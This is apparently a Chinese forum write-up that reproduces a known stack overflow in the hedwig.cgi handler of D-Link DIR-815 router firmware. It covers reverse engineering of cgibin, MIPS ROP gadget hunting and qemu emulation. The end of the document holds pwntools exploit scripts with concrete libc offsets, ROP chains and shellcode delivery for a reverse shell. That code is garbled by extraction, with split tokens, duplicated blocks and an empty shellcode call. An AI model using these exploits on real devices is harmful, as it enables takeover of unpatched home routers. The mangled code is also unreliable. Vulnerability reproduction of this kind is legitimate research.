官方的漏洞报告:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625
官方的漏洞报告中只提及了DIR-645
型号的hedwig.cgi
中会存在缓冲区溢出的漏洞,其实D-Link
的DIR-815/300/600/645
等型号都存在这个漏洞,在本篇漏洞复现报告中,笔者仅以DIR-815
为例进行分析。
笔者用于复现的物理机为Ubuntu-20.04
,请先安装qemu / binwalk / sasquatch / gdb-multiarch
等工具,并对MIPS
架构下的汇编语法进行一定的了解。
固件包下载地址(挂个梯子):DIR-815A1_FW101SSB03.bin
将固件包通过binwalk
解压后,先找到官方漏洞报告中所说的hedwig.cgi
文件,其路径为/htdocs/web/hedwig.cgi
,通过ls -l
命令看一下:
可以看见,/htdocs/web/hedwig.cgi
是/htdocs/cgibin
的软链接,因此,我们需要逆向分析的二进制文件是/htdocs/cgibin
。
先进入到main
函数中:
再走到hedwigcgi_main
函数:
首先,会先取环境变量REQUEST_METHOD
,按照这里的判断,必须得是 POST
请求 才行。
接着,会走到cgibin_parse_request
函数:
这个函数已经不陌生了,会对url
先进行解析,然后将POST
的内容读入进来,再通过sub_409A6C
函数进行解析。
在cgibin_parse_request
函数内:
这里会获取圈出的几个环境变量,不过和后面的栈溢出漏洞关系都不大,但是不能没有,需要随便输入一点东西,具体原因之后会分析。
接着,就会走到sess_get_uid
函数:
里面有对环境变量HTTP_COOKIE
的获取:
对HTTP_COOKIE
中=
的前后进行了分离:
可以看见,=
前面的内容被存入了v2
,后面的内容被存入了v4
,最后会对v2
中的内容进行一个判断:
也就是判断等号前的内容是否为uid
,判断通过了以后,就会将等号后面的字符串拼接入a1
,也就是主函数传进来的参数v4
。
再然后,就到了一个可能发生栈溢出的漏洞点:
这里的string
就是v4
中的字符串,也就是cookie
中uid=
之后的内容,是可以由用户自由控制的,然而v27
数组的大小仅有1024
,因此,很容易造成缓冲区溢出。
我们发现,在之后还有一个类似的sprintf
:
这里的string
仍然是v4
,进一步观察,发现v4
在两个sprintf
之间未被改变过,也就是说,这里的string
仍然是cookie
中uid=
后面的字符串,如果能走到这第二个sprintf
的话,那么这里才是真正的溢出漏洞点,因为仍然是v27
数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf
的内容。
容易看出,如果能走到第二个sprintf
的话,就需要过这两个判断:
这第一个判断需要有/var/tmp
这个目录,这个在真机上是有的,因此为了更真实地模拟环境,我们需要在解压后得到的文件系统内创建一个/var/tmp
文件夹,这样cgibin
才能在此路径下创建temp.xml
文件用于数据的写入。
第二个判断haystack
的值在这之前只有cgibin_parse_request
的第一个参数sub_409A6C
中可对其操作:
这个sub_409A6C
函数需要POST
传入内容的时候才能走到,那么要使得POST
传入内容,也就要走到cgibin_parse_request
中的这里:
这里跳转到的sub_403B10
函数后,才有对POST
内容的读入,并调用到sub_409A6C
:
上图是进入sub_403B10
函数后,最终走到的sub_402B40
函数,其中这里的v9
函数指针就是指向的sub_409A6C
函数。
再回到cgibin_parse_request
函数中,要走到读入POST
内容的那里,就必须要使得v9!=-1
才行,再往cgibin_parse_request
函数上面看看:
因此,环境变量REQUEST_URI
中也必须有内容才行,这里环境变量CONTENT_TYPE
仍然是老规矩application/x-www-form-urlencoded
,不再多分析了。
满足了以上条件,就能顺利地走到第二个sprintf
了,也就是真机环境中真正的栈溢出漏洞点。
MIPS
架构下的栈溢出肯定也是需要通过构造ROP
链来getshell
的,不过由于MIPS
有个特性,即无法开NX
保护,这样就有了两种构造ROP
链的方式:第一种就是纯ROP
链,通过调用system
函数来getshell
;第二种就是通过构造ROP
链,跳转至读入到栈/bss
段等处的shellcode
执行。在实际应用中,最常用的还是通过ROP + shellcode
的方式来getshell
。
寻找IDA
的gadget
最好还是用IDA
的插件mipsrop
,里面的stackfinder()/tail()/system()
等选项很便于寻找一些gadget
,也可以使用如mipsrop.find("li .*, 1")
的形式,通过.*
进行模糊匹配:
附上IDA-7.5
以上版本的mipsrop
插件下载地址:mipsrop.zip,解压到IDA
的plugins
目录下即可。
关于MIPS
架构的寄存器及指令集请自行查阅资料,这里就不多作介绍了。
下面主要来介绍一些常见的MIPS
架构的特性(32
位mipsel
)。
叶子函数指的是没有调用任何子函数的函数,其返回地址会存放在$ra
寄存器中,在该函数结束时,直接就通过$ra
寄存器跳转返回。
非叶子函数自然就是指其中调用了其他子函数的函数,其返回地址$ra
会在程序开始(prologue
)通过sw
指令存放在栈上,因为其中调用了其他子函数,肯定会需要改变$ra
寄存器的值,来作为其他子函数的返回地址,所以最先的数据需要保存下来,然后在该函数结束(epilogue
)时,再对应地通过lw
指令取出,并跳转返回。
同样的道理,如果在某个函数中使用到了 $s0 ~ $s7
中的某些保存寄存器(包括$fp
) ,则也会在prologue
处保存下来,并在epilogue
处取出。
需要注意的是,$s0 ~ $s7, $fp, $sp
在栈中存放的地址依次递增,因此,很容易想到,我们可以在栈溢出的同时,顺带着控制到$s0 ~ $s7
的值。
MIPS
的这个特性是一个在栈溢出中很好利用的点,若是二进制文件中没有或没有完整的prologue/epilogue
段,在libc
的scandir/scandir64
中可以找到完整的汇编段,来控制这所有的寄存器:
最后,都会通过addiu $sp, ...
的命令,将栈抬高到$ra
后面的位置。
MIPS
架构存在“流水线效应”,简单来说,就是本应该顺序执行的几条命令却同时执行了,其还存在缓存不一致性(cache incoherency
)的问题。
首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr
)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转。
再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache
)和数据缓存区(Data Cache
)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode
写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64
架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep
函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep
一下。
接着,笔者再介绍一些构造ROP
链的常用技巧:
我们先来观察MIPS
架构下某一个函数的开头部分,比如system
函数最开始的这两行:
这里全局寄存器$gp
从取了个偏移值(这个偏移值是相对于该函数地址的)之后,又与$t9
寄存器相加,此时的 $t9
寄存器要求是该函数的首地址 才行,也就是说,我们跳转到某个函数的时候,一定要通过jalr $t9
类似的gadget
进行跳转才行。
再来观察这个函数(system
函数)的最后两行:
我们发现,最后的返回的时候,得是通过$ra
寄存器中的地址跳转的,也就是说,我们在跳转到这个函数之前,就也得控制好$ra
寄存器中的地址为我们跳转后执行完该函数,再下一个跳转到的地方。很方便的是,我们发现move $t9, ...
这样的gadget
之后,通常会有lw $ra, ...
这样的gadget
,最后再jr $t9
,这类gadget
可以通过mipsrop.tail()
来进行查找:
通过这类gadget
,就可以比较完美地实现跳转到某个函数的ROP链的构造。
在MIPS
架构中,我们通常都是在栈溢出的同时将shellcode
读到栈上,然后再跳转过去执行,但是我们得知道shellcode
在栈上的地址才行,这里可以用如addiu $s0, $sp, ...
的gadget
来得到栈上shellcode
的地址,然后再找到一个move $t9, $s0 ; jalr $t9
的gadget
跳转过去。
可以用mipsrop.stackfinder()
找到类似于addiu $..., $sp, ...
的gadget
:
如果这里我们想注入任意的cmd
命令(比如反弹shell
的命令),最简单的就是在栈溢出的同时将其写入栈上,那在我们调用system
命令的时候,其第一个参数$a0
就要是我们cmd
命令的地址。
我们想要一个addiu $a0, $sp, ...
的gadget
,但是这样的gadget
一般来说没有能满足我们要求的,之后的跳转大多都不太方便。
于是,我们想到可以通过如addiu $s0, $sp, ...
和move $a0, $s0
的组合命令实现,而一些原本要跳到mempcpy
函数的地方,由于mempcpy
函数的特性,恰好会同时包含上面两个gadget
,也就不需要分两次跳转了,一段gadget
就能搞定,例如:
这里由于上面所说的流水线指令集的特性,在跳转到t9
之前,其第一个参数$a0
就已经被赋为$s2
了。
首先,我们要尽可能模拟真机环境,所以需要在var
下再创建一个tmp
文件夹,这个在之前漏洞分析的时候已经说过了。
这里的ROP
链用上面所说的技巧构造就足够了,这里也就不一步步分析怎么找出ROP
链来的了。
此外,需要注意的是,这个路由设备的真机就是没有开地址随机化的,我们用qemu
用户模式模拟的时候,本身就是不带地址随机化的,因此需要先gdb
连上找一下libc_base
,当然,至于栈溢出多少,直接看可能不好看出来,可以用cyclic
测一下。
首先,cyclic 2000 > payload
,将生成的2000
个字符存放到payload
文件中,再用以下shell
脚本:
这里的cat payload
,可以将payload
文件中的内容读到uid=
之后,然后echo $INPUT |
可以做到POST
的效果,-0
就是argv[0]
,-E
就是设置的环境变量,-g
是连上端口,这些我之前的文章中写过,就不多说了。
用multiarch-gdb
连上1234
端口后,先来确定libc_base
,由于qemu
用户模式连上pwndbg
时,vmmap
是无法看到libc_base
的,所以只能通过找一个libc
函数地址减去偏移来得到libc_base
,这里有个小技巧,根据“延迟绑定”的特性,当一个函数在第二次及以后被调用的时候,就会直接跳转到其相应的libc
地址,所以断点下在该函数再被调用时jr $t9
跳转的位置会比较好:
然后就是找栈溢出的偏移了,我们跳转到hedwigcgi_main
函数最后的jr $ra
的位置,可以看到此时的跳转地址,再用cyclic -l
查找一下,就得到偏移量了:
这里是system
地址末两位是\x00
,而sprintf
会被\x00
截断,因此这里采用的方法是:读进去system_addr - 1
,再找到addiu ..., 1
的gadget
对其操作后再跳转过去。
这个脚本的ROP
链构造没什么问题,但是在用户模式下是打不通的,原因是这里的system
函数中有调用fork()
函数,而用户模式是不支持多线程的,这里fork()
的失败,会导致后面$fp
是个空指针,就会出错,之后在系统模式打就不会出问题了。
在system
函数中:
最后,会卡在这里:
这里需要注意让shellcode
中不能存在\x00
等坏字符,导致sprintf
被截断。
这个脚本肯定是可以成功打通的。
用firmadyne
模拟环境和用qemu
的系统模式模拟差不多,这里就只说说用qemu
的系统模式模拟环境了。
用qemu
的系统模式模拟的环境比起用qemu
的用户模式模拟的环境要更加真实。
安装网络配置工具:apt-get install bridge-utils uml-utilities
1. 修改ubuntu
网络配置文件/etc/network/interfaces
修改/etc/network/interfaces
文件为:
这里的话,我上面写的是eth0
,但是每个人的情况会不一样,建议先用ip addr
命令看看有没有eth0
这个接口,有些可能是ens33
,那就把上面的eth0
全部换成ens33
,或者将/etc/default/grub
文件中GRUB_CMDLINE_LINUX=""
的双引号中加上net.ifnames=0 biosdevname=0
,然后再sudo grub-mkconfig -o /boot/grub/grub.cfg
,重启系统后,就应该变为eth0
了。
在修改完/etc/network/interfaces
之后,需要用sudo /etc/init.d/networking restart
命令重启一下网络配置。
2. 编辑qemu
的网络接口启动脚本/etc/qemu-ifup
之后会讲到qemu
的安装,若是还没安装qemu
,请等qemu
安装完成后再配置此项。
在/etc/qemu-ifup
文件中写入:
若是本身就没有这个文件的话,就先创建后写入,再用sudo chmod a+x /etc/qemu-ifup
命令赋予权限。
3. 创建包含qemu
使用的所有桥的名称的配置文件/etc/qemu/bridge.conf
在/etc/qemu/bridge.conf
中写入allow br0
即可。
注:在网络环境按上述配置完成后,建议重启下Ubuntu
虚拟机。
我们用的是x86_64
架构,所以需要qemu
来模拟mipsel
环境,qemu
的安装命令如下:
由于该固件是32
位小端序的mips
架构,因此,我们也要下载相对应的内核及镜像文件。
下载地址:https://people.debian.org/~aurel32/qemu/mipsel/
.
下载其中的vmlinux-3.2.0-4-4kc-malta
内核以及debian_squeeze_mipsel_standard.qcow2
镜像文件。
启动脚本(放在刚刚下载的两个文件的同一目录下):
命名为start.sh
,用chmod +x start.sh
赋予可执行权限,再用./start.sh
即可启动qemu
了。
qemu
的初始账号密码为root/root
。
进入qemu
后,先用ip addr
命令(或者ifconfig
命令)看一下网卡,不出意外的话,第一个应该是eth1
。
然后在qemu
中,用nano /etc/network/interfaces
命令修改其中内容为:
也就是将原先的eth0
改为你的第一个网卡名称,我这里就是eth1
。
然后再用ifup eth1
命令启用eth1
接口或者干脆重启qemu
之后,再ip addr
,就可以看到:
其中,192.168.192.133
就是我这里qemu
的ip
了,用同样的方法,在host
主机(Ubuntu
系统)上执行ip addr
命令,也可以拿到主机的ip
。
接着,我们需要将固件提取出来的文件系统拷贝到qemu
的镜像文件的root
目录下,进入固件解压出的文件夹后,执行scp -r ./squashfs-root root@192.168.192.133:/root/
命令即可。
由于在qemu
中不太好操作,建议用ssh
命令在host
主机上连接到qemu
虚拟机:ssh root@192.168.192.133
,这样就能在host
主机的终端上操作qemu
虚拟机了。
在qemu
虚拟机的squashfs-root
目录下新建一个http_conf
配置文件,里面写入(需要改一下自己设置的网卡,IP
,端口):
然后需要开启下物理机转发功能(不然之后在init.sh
脚本中启动httpd
服务时可能会出问题),在Ubuntu 20.04
物理机上运行以下脚本即可:
之后,再在qemu
虚拟机的squashfs-root
目录下创建init.sh
的脚本进行初始化操作:
稍微解释一下,由于真机就是没开ASLR
的,所以这里我们也用echo 0 > /proc/sys/kernel/randomize_va_space
关闭地址随机化,这里需要建立一个/etc_bak
,对原先的/etc
文件夹进行一个备份,在退出qemu
虚拟机的时候,再用fin.sh
还原,因为之后的操作会改变/etc
文件夹中的内容,导致下一次启动qemu
虚拟机会出问题。
这里init.sh
脚本主要就是将一些要用的文件从我们解压出来的文件系统拷贝到下载的镜像文件的文件系统中,可能大家会有疑问,直接chroot
改一下根目录不就行了,其实的确也可以,但是由于后面的httpd
命令,需要挂载一下dev
和proc
目录,而且由于固件包解压出来的文件系统的bin
文件夹中没有nc
,之后反弹shell
也会出问题,此外,还牵涉到其他一些问题,比如没有PID
文件等等,所以用chroot
改根目录也是比较复杂的,还不如直接这样复制到根目录下。
最后的./httpd -f http_conf
命令就是根据我们的http_conf
配置文件启动了httpd
服务。
我们运行init.sh
脚本,然后测试一下,成功启动了httpd
服务:
最后,退出qemu
虚拟机的时候,记得运行fin.sh
的脚本恢复/etc
文件夹:
下面是两种在系统模式下打exp
的方式:
这种方式其实是不需要用httpd -f http_conf
启动httpd
服务的,就是在Ubuntu
物理机中将payload
传给qemu
虚拟机,然后在qemu
中打payload
并反弹shell
给物理机。
首先,我们还是得确定libc_base
,这里要用到gdbserver
(项目地址),下载对应的gdbserver.mipsel
即可,然后将其传到qemu
中,在qemu
中用以下run.sh
脚本启动:
这里的192.168.192.131
是物理机的IP
,6666
是自己设置的连接的端口,直接用gdb-multiarch
设置好架构后,用target remote 192.168.192.133:6666
连上即可,然后直接vmmap
就能拿到libc_base
,至于栈溢出的偏移,仍然用cyclic
测一下就行,不再多说了。
1. 纯ROP链
2. ROP + shellcode
用scp -r ./payload root@192.168.192.133:/root/squashfs-root
将payload
文件传给qemu
虚拟机后,在run.sh
中直接用echo "winmt=pwner"|/htdocs/web/hedwig.cgi
打就行了,上面两个脚本都能成功打通:
需要注意的是,得先执行nc -lvnp 8888
开启监听,再打payload
。
我们之前开启httpd
服务,就是为了这种打exp
的方式,直接发送数据包给之前http_conf
配置文件中设置的192.168.192.133:1234
即可。
1. 纯ROP链
2. ROP + shellcode
上面两个脚本也都是能够成功打通的:
li $gp, (_GLOBAL_OFFSET_TABLE_
+
0x7FF0
-
.)
addu $gp, $t9
...
`
li $gp, (_GLOBAL_OFFSET_TABLE_
+
0x7FF0
-
.)
addu $gp, $t9
...
`
...
jr $ra
addiu $sp,
0x48
...
jr $ra
addiu $sp,
0x48
INPUT
=
"winmt=pwner"
LEN
=
$(echo
-
n
"$INPUT"
| wc
-
c)
cookie
=
"uid=`cat payload`"
echo $
INPUT
| qemu
-
mipsel
-
L .
/
-
0
"hedwig.cgi"
-
E REQUEST_METHOD
=
"POST"
-
E CONTENT_LENGTH
=
$
LEN
-
E CONTENT_TYPE
=
"application/x-www-form-urlencoded"
-
E HTTP_COOKIE
=
$cookie
-
E REQUEST_URI
=
"2333"
-
g
1234
.
/
htdocs
/
cgibin
INPUT
=
"winmt=pwner"
LEN
=
$(echo
-
n
"$INPUT"
| wc
-
c)
cookie
=
"uid=`cat payload`"
echo $
INPUT
| qemu
-
mipsel
-
L .
/
-
0
"hedwig.cgi"
-
E REQUEST_METHOD
=
"POST"
-
E CONTENT_LENGTH
=
$
LEN
-
E CONTENT_TYPE
=
"application/x-www-form-urlencoded"
-
E HTTP_COOKIE
=
$cookie
-
E REQUEST_URI
=
"2333"
-
g
1234
.
/
htdocs
/
cgibin
from
pwn
import
*
context(os
=
'linux'
, arch
=
'mips'
, log_level
=
'debug'
)
libc_base
=
0x7F738000
payload
=
b
'a'
*
0x3cd
payload
+
=
p32(libc_base
+
0x53200
-
1
)
payload
+
=
p32(libc_base
+
0x159F4
)
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x6DFD0
)
payload
+
=
b
'a'
*
(
4
*
2
)
payload
+
=
p32(libc_base
+
0x32A98
)
payload
+
=
b
'a'
*
(
4
*
2
)
payload
+
=
p32(libc_base
+
0x13F8C
)
payload
=
b
"uid="
+
payload
post_content
=
"winmt=pwner"
io
=
process(b
" + payload + b"
"
"\"
\
-
E REQUEST_URI
=
"2333"
\
.
/
htdocs
/
cgibin
""", shell
=
True
)
io.send(post_content)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'mips'
, log_level
=
'debug'
)
libc_base
=
0x7F738000
payload
=
b
'a'
*
0x3cd
payload
+
=
p32(libc_base
+
0x53200
-
1
)
payload
+
=
p32(libc_base
+
0x159F4
)
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x6DFD0
)
payload
+
=
b
'a'
*
(
4
*
2
)
payload
+
=
p32(libc_base
+
0x32A98
)
payload
+
=
b
'a'
*
(
4
*
2
)
payload
+
=
p32(libc_base
+
0x13F8C
)
payload
=
b
"uid="
+
payload
post_content
=
"winmt=pwner"
io
=
process(b
" + payload + b"
"
"\"
\
-
E REQUEST_URI
=
"2333"
\
.
/
htdocs
/
cgibin
""", shell
=
True
)
io.send(post_content)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'mips'
, log_level
=
'debug'
)
libc_base
=
0x7F738000
payload
=
b
'a'
*
0x3cd
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x436D0
)
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x56BD0
)
payload
+
=
b
'a'
*
(
4
*
5
)
payload
+
=
p32(libc_base
+
0x57E50
)
payload
+
=
b
'a'
*
0x18
payload
+
=
b
'a'
*
(
4
*
4
)
payload
+
=
p32(libc_base
+
0x37E6C
)
payload
+
=
p32(libc_base
+
0x3B974
)
shellcode
=
asm(
)
payload
+
=
b
'a'
*
0x18
payload
+
=
shellcode
payload
=
b
"uid="
+
payload
post_content
=
"winmt=pwner"
io
=
process(b
" + payload + b"
"
"\"
\
-
E REQUEST_URI
=
"2333"
\
.
/
htdocs
/
cgibin
""", shell
=
True
)
io.send(post_content)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
, arch
=
'mips'
, log_level
=
'debug'
)
libc_base
=
0x7F738000
payload
=
b
'a'
*
0x3cd
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x436D0
)
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x56BD0
)
payload
+
=
b
'a'
*
(
4
*
5
)
payload
+
=
p32(libc_base
+
0x57E50
)
payload
+
=
b
'a'
*
0x18
payload
+
=
b
'a'
*
(
4
*
4
)
payload
+
=
p32(libc_base
+
0x37E6C
)
payload
+
=
p32(libc_base
+
0x3B974
)
shellcode
=
asm(
)
payload
+
=
b
'a'
*
0x18
payload
+
=
shellcode
payload
=
b
"uid="
+
payload
post_content
=
"winmt=pwner"
io
=
process(b
" + payload + b"
"
"\"
\
-
E REQUEST_URI
=
"2333"
\
.
/
htdocs
/
cgibin
""", shell
=
True
)
io.send(post_content)
io.interactive()
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
up ifconfig eth0
0.0
.
0.0
up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait
0
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
up ifconfig eth0
0.0
.
0.0
up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait
0
echo
"Executing /etc/qemu-ifup"
echo
"Bringing up $1 for bridge mode..."
sudo
/
sbin
/
ifconfig $
1
0.0
.
0.0
promisc up
echo
"Adding $1 to br0..."
sudo
/
sbin
/
brctl addif br0 $
1
sleep
2
echo
"Executing /etc/qemu-ifup"
echo
"Bringing up $1 for bridge mode..."
sudo
/
sbin
/
ifconfig $
1
0.0
.
0.0
promisc up
echo
"Adding $1 to br0..."
sudo
/
sbin
/
brctl addif br0 $
1
sleep
2
sudo apt
-
get install qemu
sudo apt
-
get install qemu
-
user
-
static
sudo apt
-
get install qemu
-
system
sudo apt
-
get install qemu
sudo apt
-
get install qemu
-
user
-
static
sudo apt
-
get install qemu
-
system
sudo qemu
-
system
-
mipsel \
-
M malta
-
kernel vmlinux
-
3.2
.
0
-
4
-
4kc
-
malta \
-
hda debian_squeeze_mipsel_standard.qcow2 \
-
append
"root=/dev/sda1 console=tty0"
\
-
net nic,macaddr
=
00
:
16
:
3e
:
00
:
00
:
01
\
-
net tap
sudo qemu
-
system
-
mipsel \
-
M malta
-
kernel vmlinux
-
3.2
.
0
-
4
-
4kc
-
malta \
-
hda debian_squeeze_mipsel_standard.qcow2 \
-
append
"root=/dev/sda1 console=tty0"
\
-
net nic,macaddr
=
00
:
16
:
3e
:
00
:
00
:
01
\
-
net tap
allow
-
hotplug eth1
iface eth1 inet dhcp
allow
-
hotplug eth1
iface eth1 inet dhcp
2
: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu
1500
qdisc pfifo_fast state UNKNOWN qlen
1000
link
/
ether
00
:
16
:
3e
:
00
:
00
:
01
brd ff:ff:ff:ff:ff:ff
inet
192.168
.
192.133
/
24
brd
192.168
.
192.255
scope
global
eth1
inet6 fe80::
216
:
3eff
:fe00:
1
/
64
scope link
valid_lft forever preferred_lft forever
2
: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu
1500
qdisc pfifo_fast state UNKNOWN qlen
1000
link
/
ether
00
:
16
:
3e
:
00
:
00
:
01
brd ff:ff:ff:ff:ff:ff
inet
192.168
.
192.133
/
24
brd
192.168
.
192.255
scope
global
eth1
inet6 fe80::
216
:
3eff
:fe00:
1
/
64
scope link
valid_lft forever preferred_lft forever
Umask
026
PIDFile
/
var
/
run
/
httpd.pid
LogGMT On
ErrorLog
/
log
Tuning
{
NumConnections
15
BufSize
12288
InputBufSize
4096
ScriptBufSize
4096
NumHeaders
100
Timeout
60
ScriptTimeout
60
}
Control
{
Types
{
text
/
html { html htm }
text
/
xml { xml }
text
/
plain { txt }
image
/
gif { gif }
image
/
jpeg { jpg }
text
/
css { css }
application
/
octet
-
stream {
*
}
}
Specials
{
Dump {
/
dump }
CGI { cgi }
Imagemap {
map
}
Redirect { url }
}
External
{
/
usr
/
sbin
/
phpcgi { php }
}
}
Server
{
ServerName
"Linux, HTTP/1.1, "
ServerId
"1234"
Family inet
Interface eth1
Address
192.168
.
192.133
Port
"1234"
Virtual
{
AnyHost
Control
{
Alias
/
Location
/
htdocs
/
web
IndexNames { index.php }
External
{
/
usr
/
sbin
/
phpcgi { router_info.xml }
/
usr
/
sbin
/
phpcgi { post_login.xml }
}
}
Control
{
Alias
/
HNAP1
Location
/
htdocs
/
HNAP1
External
{
/
usr
/
sbin
/
hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
Umask
026
PIDFile
/
var
/
run
/
httpd.pid
LogGMT On
ErrorLog
/
log
Tuning
{
NumConnections
15
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-4-15 21:37
被winmt编辑
,原因: